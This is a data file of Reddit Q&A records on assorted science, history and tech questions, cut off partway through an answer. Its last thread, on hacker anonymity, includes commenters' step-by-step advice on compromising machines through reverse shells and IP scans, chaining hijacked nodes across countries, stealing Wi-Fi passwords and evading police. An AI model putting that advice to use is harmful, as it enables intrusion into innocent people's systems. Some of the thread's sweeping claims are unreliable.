{"q_id": "156ua1", "title": "If it's coffee's acidity that can give people stomach aches (and cause other problems), then why don't things like orange juice cause much worse problems (since it is 2 whole orders of magnitude more acidic)?", "selftext": "Or is the problem with coffee not its acidity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/156ua1/if_its_coffees_acidity_that_can_give_people/", "answers": {"a_id": ["c7jssj5"], "score": [16], "text": ["It's actually not the acidity of the coffee that give you a stomach ache, but some compound within the coffee that trigger excess acid production. \n\n[Source](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.foodnavigator.com/Science-Nutrition/Coffee-researchers-identify-stomach-friendly-ingredient"]]}
{"q_id": "fli1dd", "title": "why can you stick different parts of your body(head, hand, finger) in small gaps really easily but you can't take them back out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fli1dd/eli5_why_can_you_stick_different_parts_of_your/", "answers": {"a_id": ["fkyrv8m", "fkyslh0", "fkytpv0", "fkyu591"], "score": [14, 5, 2, 47], "text": ["Think about where the force is being applied. Finger goes in, force on hand. Finger comes out, force on finger.", "The joints between your bones can compress easily and distribute the force when you're pushing the body part into a gap. However, pulling it out pulls at the closest or weakest joint, causing a lot more pain.\n\nAlso, the body part may swell due to blood pooling due to the constriction or inflammation if you injured the part when pushing it through the gap. This makes it much more difficult to pull the swollen body part out.", "My guess is it relates to the skin. When the skin is pulled back and taut, it makes the area less wide, or smaller in a sense.\n\nIf you hold your hand out with the palm side down, and push the skin on the back of your hand towards you/back, it smooths down closer to your bones. \n\nIf you then push the skin up towards your knuckles/away from you, it bunches up and wrinkles, thus making the area wider and expand in a way.\n\nYour skin is made taut and is pulled back when you first enter a niche or small gap, making it very easy to slide in to as it\u2019s less resistance. The skin is then wrinkled and bunched when you try to pull back out, which makes that portion of your body wider than when it first entered, thus making it very difficult if not impossible to get back out.", "One of the reasons (besides the mentioned swelling) is that when you push, say, an arm through a gap, you are stretching skin and flesh (think pulling up a sock), which makes the limb thinner.\n\nWhen you are pulling it out, skin and flesh crumples in the gap and makes the limb thicker.\n\nTo see it in an easier way: Wear a loose sock in your hand, and push it through a gap (for example between two couch pillows). Its stretches going it, but crumples when pulling out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "14ibf2", "title": "What are some good resources on the San Patricios during the Mexican-American war?", "selftext": "I'm currently doing a project for a film writing course where we have to adapt a historical event in to a film script.\n\nI became interested in the San Patricios after hearing a song about them (Jon Riley) and decided to use them as my subject.\n\nThe problem I've had is that finding clear information is difficult, partly due to age and the alleged cover up of the defection by the US Army.\n\nA few main questions:\n\n1. What was the main reason a lot of them left? I've gathered that a large amount of them deserted after being denied the right to go to Mass, but was the real reason based of the anti-catholic attitudes, or something more?\n\n2. Why was there such an influx of Irish into the army at this time? Especially given that it was such a hostile environment for them to be in at the time.\n\n3. What happened after the war? As soon as the war ended, all of the surviving men seemed to simply disappear? Did they flee to Mexico for good? Did some of them return to the US?\n\n\nAny of those being answered, as well as just general information on the Irish at the time and the challenges they faced would be incredibly helpful.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14ibf2/what_are_some_good_resources_on_the_san_patricios/", "answers": {"a_id": ["c7dazag"], "score": [3], "text": ["You did see the movie, right? *One Man's Hero* starring Tom Berenger? The wikipedia article on the battalion is surprisingly well referenced (or at least has more than your average number of references). [Wiki Jump!] (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Saint_Patrick%27s_Battalion"]]}
{"q_id": "7pehmn", "title": "When did we stop referring to poor people as peasants, and changed it to the lower classes?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7pehmn/when_did_we_stop_referring_to_poor_people_as/", "answers": {"a_id": ["dshfhzz"], "score": [5], "text": ["The term peasant referred not only to the amount of wealth a person had but also their rights and job. Peasants often didn't own the land they worked, instead renting it from nobles. Sometimes peasants were thought of as only a little better off than slaves, which is quite different from poor people in many parts of the world today who, even though they're not wealthy, still have many rights. Another defining characteristic of peasantry is a lack of social mobility, especially in places like medieval Europe. I'm not sure how peasants in other areas of the world were treated, but in medieval Europe they were forbidden from adopting a status other than that of a peasant. Also, peasants are always farmers so it wouldn't make sense for a factory worker or retail store employee to be labelled as a peasant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8iouwt", "title": "why do furniture stores decorate things such as end-tables with thick books?", "selftext": "Every time I walk into a furniture store, many pieces of furniture are accompanied by lamps / vases that also have price tags. Yet sometimes there is just a thick book on the piece of furniture; a book that doesn't have a price tag. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8iouwt/eli5_why_do_furniture_stores_decorate_things_such/", "answers": {"a_id": ["dytenh0", "dyth1qb", "dytikbz", "dytir9y"], "score": [42, 8, 3, 2], "text": ["It's the same reason people will clean or out new furniture in a home before selling it\u2014it's all about staging. It's a mental game, really. If you can make it easier for someone to imagine what a piece will look like in their home, then they *will* imagine what it will look like in their home. If they do that, they might like what they see in their head. If they like what they see in their head, they're more likely to buy the piece.", "As another poster said, it\u2019s staging. It makes it seem more personal. And while it\u2019s staged, it makes it seem less staged.\n\nIn real estate, you wouldn\u2019t want to take photos of a overly cluttered and messy room, but you don\u2019t want photos of a bare room either. Sometimes people have a hard time envisioning what they can do with a space or item. By putting items in the space, they can imagine it.", "It\u2019s about making you think beyond the sale. It\u2019s easier to imagine that table being in your own home when it has things on it, because you\u2019ll be putting things on it too if you have one. \n\nYou hear similar things when you\u2019re dealing with purchasing clothes in shops with actual service. For instance, if you\u2019re buying shoes, the salesperson might make references to how the shoes will last longer if you only wear them at the office, and commute with a different pair. They may also bring up that when you need them to be repaired, only bring them back to the specific shop you\u2019re in. They\u2019ll probably tell you about how easy it is to care for the shoes when you\u2019re in your own home too. And that if you care for them well, they\u2019ll last you a great deal of time. \n\nAlso, when they try to upsell you, they introduce the extras in a natural and conversational way to lessen the blow of a higher price. How much more likely would you be to buy these wooden shoe tree inserts (\u00a3100 extra for a piece of wood) if a salesperson brings them up at the end, after you\u2019ve already made the decision to buy the shoes? It\u2019s too sudden and clear that they\u2019re trying to take advantage of your buying mood. You\u2019d almost certainly be more likely to buy them if they and their benefits are introduced to you whilst the salesperson pretends to also care about who you are and what you\u2019re up to in life. \n\nWhilst being informative, it\u2019s an attempt to put you in a mental place where you already own the shoes, so the idea of buying them doesn\u2019t seem so foreign to you. If you leave without buying because you\u2019d like to think on it, they\u2019ll probably say that they\u2019ll see you soon, whilst giving you a business card with all the info about those shoes on it. It\u2019s all an attempt to put you in a place of returning, so they can work the same tricks on you again. \n\nDon\u2019t think about how the sales staff is trying to make you part with your money, think about how great it will be to walk the streets with those Edward Green Plain Black Oxfords that cost more than most peoples rent instead!  \n\nThe tricks don\u2019t always work though. :(", "Used thick books are often free so they cost nothing. They're heavy so they won't be moved around and they look good for staging."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "59ncxw", "title": "how did 'muahaha' become known as the 'evil' laugh?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/59ncxw/eli5_how_did_muahaha_become_known_as_the_evil/", "answers": {"a_id": ["d99z1g5", "d9aophz"], "score": [37, 6], "text": ["Bad actors is almost certainly the answer to this one. Bad actors playing evil characters in badly-written and badly-directed plays, being told to \"laugh evilly\", might make a stab at sounding insane or somehow unhinged, and the \"muaha...\" part is probably intended to sound like a maniac trying to supress his laughter, but it bubbles up uncontrollably.", "It implies gloating that escalates to derision. In the alternate it's self congratulation followed by laughter.\" \n\nit's \"mmmm\" followed by \"hahaha\"\n\n\"I have defeated you. mmmm. ha ha ha.\"\n\n\"I am a god, mmm ha ha ha\".\n\nReplace the first part with a \"yes?\" or a \"yes!\" as a self-answer to the situation or statement or question the bad guy invariably just presented.\n\nIt's an auditory cue to \"this was a dick move, I know it, and I think it's funny as shit\".\n\nSo look at the context of the two sentiments blended together.\n\n8-)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3du0b8", "title": "how do hardware manufacturers keep mac addresses unique when there are also other manufacturers that produce the same type of hardware?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3du0b8/eli5_how_do_hardware_manufacturers_keep_mac/", "answers": {"a_id": ["ct8lt8n", "ct8lyuj", "ct8lyuo", "ct8m3fe", "ct8srhq", "ct8syhx", "ct914ih", "ct939j0", "ct94k70"], "score": [66, 54, 10, 7, 4, 2, 2, 2, 2], "text": ["There is a standards body that allocates MAC addresses similar to IP's.  So Cisco will have a range or ranges of MAC addresses it can call upon.   I do seem to recall hearing that they are not completely globally unique and may get reused from time to time. ", "You get to use 0000XXXXXX.    I use 0001XXXXXX,    acme uses 0003XXXXX.   If you run out of 0000's,   you get assigned 0004's.\n\nThere are 281 trillion unique Mac addresses.", "The IEEE is a body that assigns the addresses. Each manufacturer will get a prefix -- the start of the MAC address. The manufacturer assigns the rest of it themselves. ", "MAC address contains vendor part and name space is managed by IEEE. On other hand you can set MAC address via net driver so collision is possible. Also in case of virtual infrastructure (like VMware) addresses are generated by software and uniqueness is not 100% guaranteed in some cases when multiple hosts are in place.  \nEdit: missing sentence", "Side note: If you're IT/development, assume they **will** sometimes collide. Because it happens, either due to dodgy hardware cost-cutting or through software configuration. \n\nFar better to know it can happen, than to spend weeks trying to find other answers to something you *thought* was totally impossible.", "IEEE is the registration authority. You can see the full list of companies and registered OUI here _URL_0_ ", "Products that follow the IEEE standard are preassigned a MAC prefix as to prevent this very problem. MAC addresses are not as random as you would think, they are bits of information that is assigned to tag and identify specific objects.\n\nEach company is assigned a prefix code, so not only does each individual object have it's own MAC address, but you can also trace which company made the product granted it follows regulations and standards.\n\nThe ELI5 is, think of MAC addresses as unique names. If you have two people named Jimmy, you can tell them apart by family name. The first 3 bytes of a MAC address is similar to a family name. So yes, Japanese people are almost like living MAC addresses.", "Having run into the issue of duplicate mac addresses (once in about 20 years) - they can't and don't necessarily have to keep them all unique.  \n\nMAC addresses only have to be unique within a subnet.   While you could have other software in an organization that requires MAC addresses for inventory, this doesn't interfere with networking.   So an organization could have issues with reporting of multiple machines had the same MAC, all networking would still function without issue (as long as they were on separate subnets.  \n\nSo it doesn't matter if you have the same MAC on your home computer as a 1000 people - only if you tried to network them on the same subnet.  Similarly you can have the same license plate as someone in another state.  So, 50 people could all have a reddit license plate and wouldn't cause issue - with the exception of getting the plate called into the police and the caller didn't know what state it was from.  \n\nMost NIC cards today are programmable, so either the problem was caused by bad luck - or a user programmed it.  My home router used to use the same MAC address as the wifi router of McDonalds in Times Square.  I don't even live in NY - so it wouldn't cause me issue.  I just thought it would be a funny thing to do. ", "They don't. MAC numbers were never meant to be unique. \n\nThey get the first three hex numbers from a governing body.\n\nThey randomly assign the remaining three to the devices.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://standards.ieee.org/develop/regauth/oui/public.html"], [], [], []]}
{"q_id": "2eeu7i", "title": "if i fart and start breathing faster, will i stop others from smelling it as much since the smell is going through my system?", "selftext": "...I want to know.. For my friend...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2eeu7i/eli5_if_i_fart_and_start_breathing_faster_will_i/", "answers": {"a_id": ["cjysa62", "cjytdk4"], "score": [20, 2], "text": ["No, the smell isn't going to be significantly diminished by your smelling it too. All it will do is make it more clear that the weirdo hyperventilating just farted.", "This is so stupid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "420lga", "title": "I have always wondered why don't we send anything to gas giants in our solar system?", "selftext": "Are the conditions too extreme for another \"curiosity\" to land and explore, or do we just not know can you even land there. How about something that hits the orbit and stays there observing the planet like a satellites that observe the earth?\nI know the answer must be simple, but I've never heard anyone explaining this.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/420lga/i_have_always_wondered_why_dont_we_send_anything/", "answers": {"a_id": ["cz6n0k3", "cz6tb88", "cz72zt1"], "score": [109, 55, 4], "text": ["We do, there was the Galileo probe around Jupiter, the Cassini probe around Saturn, and there's another one on the way to Jupiter.", "I have always wondered why, in the age of the greatest accessibility to information in the history of history, people can be so poorly informed. \n\nJuno - on its way to Jupiter  \nCassini - in orbit around Saturn, dropped the Huygens probe into Titan  \nPioneer 10 - Jupiter flyby  \nPioneer 11 - Juipter and Saturn flyby  \nVoyager I and II - extensive flybys of Jupiter, Saturn, Uranus, and Neptune  \nGalileo - Jupiter orbiter\n", "Didn't someone give a very detailed response to what would likely happen to someone with impossibly advanced protective gear if they fell into Jupiter?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "awfbaj", "title": "when someone is hospitalised for exhaustion, what are the doctors actually treating?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awfbaj/eli5_when_someone_is_hospitalised_for_exhaustion/", "answers": {"a_id": ["ehm66wv", "ehmp4k2"], "score": [20, 4], "text": ["We may use that term if the patient is dehydrated or malnourished to the point that their body function is suffering. They may need fluids or electrolyte replacement. Athletes who overdo it or elderly patients with poor stamina/diet can have those issues.\n\nHowever, I think being hospitalized for exhaustion is more of a mental health issue than a physical one. When people say that they are hospitalized for exhaustion, that typically means they were admitted to a behavioral health facility.", "In the context of famous people it's a euphemism for drug rehab. It's been used that way for so long that nobody would allow their publicist to say it unless that's actually what they meant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fm1ugy", "title": "what is a cms (content management system), like joomla.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fm1ugy/eli5_what_is_a_cms_content_management_system_like/", "answers": {"a_id": ["fl1wdds", "fl1wq4n"], "score": [3, 2], "text": ["A content management system is a system designed to manage your content.\nYour content could be a Web page, some images, a blog, etc.\nThe content management system let's you control who sees the content, who can edit the content, etc.\nContent management systems can get pretty complex, and can distribute to, or gather content from, other places. They can display content as HTML, RSS, JSON or other formats. They can act as an online store, automatically publish or unpublish content, etc.", "A CMS is software that runs on the web server that helps build web pages for the site. It will assist in providing things like a consistent navigation menu, arranging hierarchies of pages, user tracking, and all the other things that go into making a web site that requires a college degree in computer programming (Well not literally...). The CMS helps maintain the site's consistency and gives you a toolkit with updates, 3rd party support, and all the other stuff that comes with popular software.\n\nBy providing these features in a single software package, you as the web site owner can focus on the parts of the site that actually matter to you - images, text, and seeing how many people Liked your posts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "80z8f2", "title": "Did the medieval Islamic society also have a \"knight\" class like in Western Europe? Was there an honor code similar to chivalry that a Muslim warrior caste would follow?", "selftext": "You always hear about the Western European knights and Chivalry, but you hardly hear anything about the Islamic military orginziation and society from these times. Did they even have a warrior class similar to the European knights?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/80z8f2/did_the_medieval_islamic_society_also_have_a/", "answers": {"a_id": ["duznl47"], "score": [68], "text": ["Yes, although the feudal or class-based elements, which exist but are *very* different in Islamdom, mean that the parallel is imperfect.\n\nThe approximate Arabic equivalent term for \"chivalry\" is [furusiyya](_URL_0_), which maintains many of the martial qualities of horse-borne warfare, but has fewer of the social connotations. In Europe, courtly or chivalric loves becomes associated with the martial qualities of knights and the nobility. While a similar literary concept exists in the Arabic world in the from of Udhrite love poetry, as far as I'm aware there was no real expectation that it be associated with furusiyya.\n\nAs I mentioned, the practice of furusiyya, though it certainly involved a kind of warrior caste status, that caste status could and often did differ markedly from the situation in Europe. In much of the medieval Islamic world, for instance, the military class were technically slaves, as in the example of the Egyptian Mamluks. Nonetheless, whether free or unfree, these horse soldiers very often occupied the same military ruling class positions as their feudal counterparts in Europe. \n\nThe forms of land grants and tax farming in the medieval Islamic world varied considerably, and in turn differed significantly from the various forms of European feudalism (leaving aside the entire European medievalist debate about what that was.) As a category, however, medieval Islamic land holding or tax farming rights were part of the \"Iqta\" system, of which the \"military iqta\", the granting of land or taxation rights to this military caste in reward for service, was typical.\n\nWhere it differed perhaps most markedly from the European nobility is that, at least in theory, the Iqta was entirely at the discretion of the Sultan and was not (necessarily) hereditary, though in practice it could be.\n\nThis was also true of the caste as a whole, so for example while Mamluks occupied the highest-status military positions in society, their children, the awlad an-nas, actually *could not* inherit their fathers' martial status (again, at least in theory. At the margins and over time the institutional clarity of this practice could fluctuate)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Furusiyya"]]}
{"q_id": "594egc", "title": "how do hackers remain anonymous when they are directly connected to an isp?", "selftext": "Even if they use TOR, VPN's and who knows what else, the first connection they go through is their ISP, so every action they perform should be visible", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/594egc/eli5how_do_hackers_remain_anonymous_when_they_are/", "answers": {"a_id": ["d95jj94", "d95jl8r", "d95kjo5", "d95ktkl", "d95m3d0", "d95mzpl", "d95n274", "d95nqqi", "d95ny8l", "d95o04r", "d95o34c", "d95odz1", "d95pj4a", "d95q4om", "d95qjaz", "d95qr06", "d95s2cy", "d95s6ff", "d95se22", "d95smr9", "d95ssfz", "d95swqr", "d95sz2a", "d95t31o", "d95tpxl", "d95tyj1", "d95uii1", "d95vk7a", "d95wc21", "d95yj6y", "d95yp4d", "d95yscz", "d95yytc", "d95zi3m", "d9604kt", "d96323x", "d963h3e", "d965u4q", "d966cyy", "d966vct", "d966z5p", "d969jjb", "d96bstq", "d96cvbz", "d96edkd", "d96iion", "d96k475", "d96pi6l", "d96re9n"], "score": [97, 6, 1307, 2, 584, 245, 7, 5535, 22, 2, 2, 2, 2, 2, 88, 21, 2, 2, 12, 7, 2, 4, 3, 5, 5, 8, 2, 521, 3, 7, 3, 2, 2, 332, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 3, 3, 2], "text": ["The traffic is encrypted. That means the data appears to be a bunch of gibberish to anyone who looks at it without the proper key to decode it. When the ISP looks at it, they can't tell what it is. It's not just hackers who use encryption. Banking and other secure online transactions are encrypted, the military uses encryption, and so do most major businesses. In fact, TOR was created by the US Navy. The hacker's traffic is just a bunch of noise in all of that other encrypted traffic. ", "They might be connecting through multiple machines.  I can connect to one machine, and then use that machine to connect to another and so on.  They might know the last link in the chain, but they'd have to look at that machine to know where the incoming connection came from.", "Like /u/liarandathief said, the way a VPN or TOR works means that you connect to one server (the VPN server or the first TOR node) and then all your traffic goes through that. Your traffic also uses strong encryption between your computer and the server you're connected to, which means nobody can intercept and read that traffic. \n\nBecause of these two factors, it's only easy to say \"this VPN is connected to this website\" and unless the VPN provider keeps logs (or otherwise provides information saying which user accessed which website and when), there's no way to trace it back to you. With TOR, if you set it up properly, nothing can really trace back to you because there are so many different servers that you connect through: if the first server in the path keeps logs, the next one probably won't, and the one after that won't, and so on.\n\nNow, it's important to note that this anonymity only works because so many people are using the same server as you. If you run your own VPN, that doesn't actually provide any anonymity: since you're the only person using it, any traffic that comes from it can be traced back to you. ", "Number one way they stay anonymous is proxies that don't keep any records. Using a proxy can not only encrypts your traffic but can alsomake it difficult or even impossible to trace back to you because the first proxy your traffic goes through strips off the the front end of the packets, which contain your ip address and replaces them with the ip of the proxy. This process repeats until your traffic reaches its destination and then the process goes in reverse. This make is hard (Especially if the proxies you use don't keep records) to determine the origin of the traffic. ", "Anonymity is achieved in practice using VPNs and multiple proxies. These are two different techniques but they can be combined.\n\nA VPN is a special kind of proxy that allows many people to appear to have the same IP address which makes it very difficult for anyone (except the VPN's owner) to figure out who connects to where. VPNs can and often are used for other purposes and may not even anonymize your connection, but for the purpose of this discussion I will talk about those VPNs which are designed to hide your connection by communicating with you only using encrypted messages and by merging more user connections through the same IP address.\n\nTracking users is difficult, but not impossible. You have a bunch of incoming transmissions and a bunch of outgoing transmissions and you correlate the timings. If after long observation you notice that every time someone connects to a website someone in the VPN is connecting to something, then you can say with more or less certainty which user of the VPN connects to that website. In practice, this is expensive and takes a lot of time, so it's only used to track certain users. Copyright enforcers don't want to invest resources in this because their only evidence in court would be a strong correlation between a user's connection to a VPN and that VPN's connection to a host. On the other hand, some three letter US agencies invest in this kind of correlation because it gives them enough evidence to gather more evidence. If you're doing bad things online, you will be discovered.\n\nIt's also worth noting that a couple of VPN encryption methods were just declared ineffective, so a lot of traffic can now be monitored until VPN providers reconfigure their software to use better encryption.\n\nThe Tor proxy does something similar, but it actually uses a chain of proxies. This makes it difficult in practice for three letter agencies to track you down because they need to collaborate with other jurisdictions. The way the chain of proxies is built is geographical. You will go through foreign countries on opposite sides of the world because these countries collaborate less with each other.\n\nThen, there are Tor hidden services. These can only be accessed using Tor proxy chains which make it difficult to find where they are physically located. This provides even more anonymity. The hidden service chains are also longer than regular chains.\n\nAnd finally, there are other solutions - like Freenet - which act only similarly to Tor hidden services but also keep content distributed on the users' computers so it doesn't get taken down even if the original server is found and disconnected from the network. The more people use it, the more information can be stored on the network and the faster content can be delivered.\n\nOn top of technology, there's also the human element. To maintain anonymity you must act like the average user of your group (you must blend in) so you can't be tracked by your writing style or any other drops of personal information you might leave behind. The human element is crucial to maintaining anonymity.", "TOR has been mentioned a lot and it's a useful step, but if you're picturing a serious hacker doing bad deeds from their home internet connection that's probably not realistic. The world is swimming in internet access points. There's no reason to use one that's registered to you. So what's the main reason you wouldn't get tracked back to your isp? Because you wouldn't be dumb enough to use your isp.\n\nA careful hacker's setup would start with finding a machine you can pay cash for that has a network card that allows you to spoof it's MAC address. You would prefferably get this off Craigslist or some other camera free situation. Running this machine from a read only OS like tails is an additional step you might take to avoid leaving evidence on the laptop.\n\nNow you'd want to choose an access point you can connect to without being filmed. Wifi passwords are pretty easy to steal so this could be a public or private access point. Spoofing the MAC address of your laptop keeps you from leaving a recognizable trail on the access point itself, and moving your requests through TOR obscures the trail between the access point and the target.", "There's much mention of TOR and VPN but there are signs that advanced hackers will root an innocent third parties' computer and stage an attack from there. It's entirely possible that the attack looks like:\n\nAttacker ==TOR/VPN== >  PWNT SYSTEM ==TOR/VPN== >  Target\n\nThere were NSA hacks that got disclosed recently, and there is speculation that the NSA was using a third-party server to stage an attack, and was unable to clear the files off that system after the attack was concluded. ", "Imagine you are in the busiest city in the world with the largest population.  The only mode of transportation are yellow cabs.  Everyone has to use one for everything to from A to B.  Now if someone just uses one cab to go from A to B its easy since its the same taxi service, same driver, same everything.  \n\nThis would allow tracking and following you relatively easy since all you have to do is ask the taxi service in this case your ISP where that cab went.  \n\nNow if I change cabs multiple times going from A to B someone would have to ask multiple drivers, cab companies, for any details.  \n\nNow lets say I took multiple cabs to the border of the next city whose laws are much different that the riding laws of the previous ctiy.  Maybe that next city doesn't collect data on my destination or doesn't share that information.  Hell maybe they dont like each other and tell the other city to screw off (imagine US to China).  This would make it damn near impossible to track.\n\nApply this logic to how packets hop and there ya go.\n\n\n\n", "It's not hard.\n\n1. Buy a cheap laptop off Craigslist.\n2. Connect to a free access point.\n3. Do bad stuff.\n4. Throw away laptop.\n\nThere is no need to even bring TOR or a VPN into the picture. Life may get difficult for whomever owns the access point though..", "Because they sometimes aren't connected. They hack other people's computer who then hack a network. Its called a botnet.", "If whoever decided to track that hacker, it would be necessary to examine the logs from every router of the path to see which IP addresses were involved until they finally reach the hacker's IP, and those hackers use proxies or VPNs that don't keep records and may belong to many jurisdictions: it would be hard to get warrants to check every server as they were discovered backwards (specially when involving multiple countries), and even if the servers were illegally hacked chances are there wouldn't be any useful information there.\n\nAnd I don't believe those hackers we are talking about would use their regular domestic Internet plan: they would use third-party wi-fi networks, a prepaid mobile phone with 4G, and always be careful with their geographic location I guess.", "I'm getting the impression that you'd be pretty safe using tor or a vpn but why is it whenever you see a thread about them people always comment about how you're not really anonymous and get be found out easily?", "I read all the responses, most of these people have no idea what they're talking about.\n\nYou don't connect from home, you get the password from a Starbucks wifi across town and use that for the really nasty stuff. For everyday things you can babysit a neighbor's cat and get a wifi password that way. You see red-blue flashes of light in the neighbor's yard at 2 AM, it means it's time to slag your hard drives :P.", "If they really want to find you, they'll find you, especially if the VPN is US based. The VPN will rat you out when the FBI shows up. ", "Let's *actually* ELI5 it...\n\nTOR:\n\nThe ISP is a letter carrier.  They'll pass your letter on to your network of super secretive friends who will ultimately send it to its destination and get the response for you.  Yes, they have the power to read that letter, but you and your friends are smart - you talk in code that nobody else can translate.  \n\nThe real destination for your letter is actually written inside where nobody can see, and you and your friends readdress and send your letter to each other a handful of times to confuse anybody at the post office who might be paying attention to *where* the mail is going.\n\nIn fact, even if a letter is known to have been sent by you - even if you wrote it yourself, you can still plausibly deny it, and say you were just passing it on for someone else.\n\nVPN:\n\nSame as above, but there's only one friend ever helping you, making the whole operation a bit shit in comparison.  You talk in code to him and he does your bidding on your behalf. If he gets caught though, there's no telling what might happen.  Depends how much he decided to write down about you.", "Nice try FEDs, Nice Try.\n\nConsider these set of rules, just an example set.  First, never do anything directly from you home connection.  \n\nAlways connect through at least two other systems to do your work.  \n\nFirst you hack one system and install a \"relay\" you could think of this as a VPN.  Then you use that system to hack another system and install a second relay.\n\nThe traffic to these relays is encrypted so it doesn't appear to be suspicious.\n\nPreferably, you want these two systems in countries other than yours and that have poor judicial relations.  If shit is serious, countries without extradition treaties.", "If a 'hacker' does something that pisses off enough people he/she will be found.\n\nThere are ways of breaking every single method in this thread.\n\nSource: I work in infosec, and have worked with people in, or previously at, TLAs.", "Picture this: hacker wants to attack a big name company. Big name companies tend to have good security practices, so going at them directly is dangerous. Instead, the hacker first attacks an unsuspecting small company, and gains access to (maybe just one of) their servers. Crucially, they don't do anything overtly malicious on that server, such that they don't announce their presence. It's somewhat unlikely that the small company has well-staffed IT who keep a close eye on their servers, so this can go unnoticed for a while. In the unlikely event that there's some sort of access log, the attackers can then clean up any signs of their presence, or they'll just setup a secondary way to access the server that won't leave any such traces at all.\n\nOnce they're ready to actually attack their real target, the attack won't be launched from their own computers in a way that can be traced back to them. It'll be launched from that first compromised server, that they've had the time to set up as a dead end.", "Wow there are a TON of dumb answers here.\n\nFirst, TOR is absolutely worthless. Anyone who is anyone knows every single TOR node is subject to MITM attacks and is being monitored. TOR has been receiving way too much attention since literally 2008. So, scrap that whole idea right now because that is 100% incorrect.\n\nSecondly, public proxies are retarded too. Scrap that idea too.\n\n1. Develop or receive custom computer exploit that allows you to receive a shell back (reverse shell). Public exploits work too, I suppose, but chances of success are significantly less.\n\n2. Do IP address scans, on specific regions or ranges (70.201.0.0 - 70.201.255.255) and see if any are vulnerable. If they're vulnerable, root their box (not gonna explain that part).\n\n3. Repeat step two several times over\n\n4. Make sure each exploited node are in different places geographically. Ie not just where you reside. Don't poop where you sleep kids. Instead, do some in other countries.\n\n5. Make a series of tunnels between each hacked node so use you have an entry point (where you connect) and an exit point (where your data leaves). Make sure entry point and exit point are both in different countries. Bonus points if they're in countries that don't cooperate with your country.\n\n6. When attacking someone through said tunnels, don't be retarded. Don't brute force. Don't be loud. \n\n7. If exploitation is successful, still be quiet, don't immediately start running around stealing data and transferring large quantities, don't deface anything like LOL HACKED BY ANOONAMOOSE. Ya know?\n\nEdit: good literature \n\nHacking the art of exploitation (book)\nShellcoders handbook (book)\nVxheavens (website)\nC primer plus (book)\nTCP IP illustrated (book)\n\nEdit on TOR stuff: \n\n_URL_1_\n\nMore stuff on shitty TOR: \n\n_URL_0_", "I recently got a notice from my ISP regarding the illegal downloading of content via TOR. How was I caught and how do I remain anonymous in the future if I wish to do so? ", "Simplistically, You (tor) -- >  server A (VPN) -- >  target \n\nYour ISP sees you connect to server A and that's it. \n\nTarget sees server A connect to it and that's it. \n\nTarget may have logs. Server A may have logs. ISP may have logs. \n\nYou have to have logs at the precise timestamp. \n\nNow one of these may not have logs. It you add now additional intermediaries  serverB, server C etc. Then it becomes quite tough. \n\nAdditionally one server might be chosen which definitely doesn't keep logs breaking this logging right there giving lot of privacy to you. ", "Network Engineer here. Used to work for a major ISP's infrastructure engineering department. Part of my job was accommodating court orders, ie: cooperating with Law Enforcement to help them tap traffic.\nThe main reason you're anonymous is that there's millions of customers connected to your ISP, and while they have the wherewithal to track any one individual's activity, they CAN NOT capture everyone's every packet and destination. There's two types of information which can be gathered at the network layer: Where you're sending data (and receiving it from), and what you're sending. Getting the 'where' data is considerably easier, we need that information to deliver it. What you're sending, however, requires considerably more effort. There's definitely techniques to get a 'copy' of your traffic and send it elsewhere, but that can be very payload-intensive to perform on a large scale, so collecting all of that data for everyone is prohibitively expensive. Then there's the question of encryption. Say I do have all your traffic. I still need to be able to decrypt it, which adds more expense to figuring out what you're doing. It's not impossible, just like cutting the locks off a bike is impossible, but it requires tools and time, and that costs money, and ISPs aren't willing to undertake that effort simply to do the FBI's job for them.", "You can use multiple VPNs, TOR, etc, but any decent hacker will not use its own connection to commit very illegal stuff.\n\nYou can hack any WEP access point in less than 5 minutes, and getting Wifi passwords using man in the middle attacks is pretty easy too if you can get in a good physical location. You can hide a device such [as this one](_URL_0_) which will fake the access point and easily collect data from the user.", "Many people here don't really understand the architecture, strengths, and weaknesses of Tor. When, say, you try to access a website through Tor, the Tor node that you first communicate with knows your IP, but it doesn't know the content of the request, nor the destination. The last server that the traffic touches within Tor does not know the origin IP of the request, but it does know the destination IP, and the content of the original request. This content may be un-encrypted if the destination isn't using TLS. Your identity can be revealed in ways other than knowing an IP address.", "In short: They can't. \n\nDe-anonymizing traffic with a high 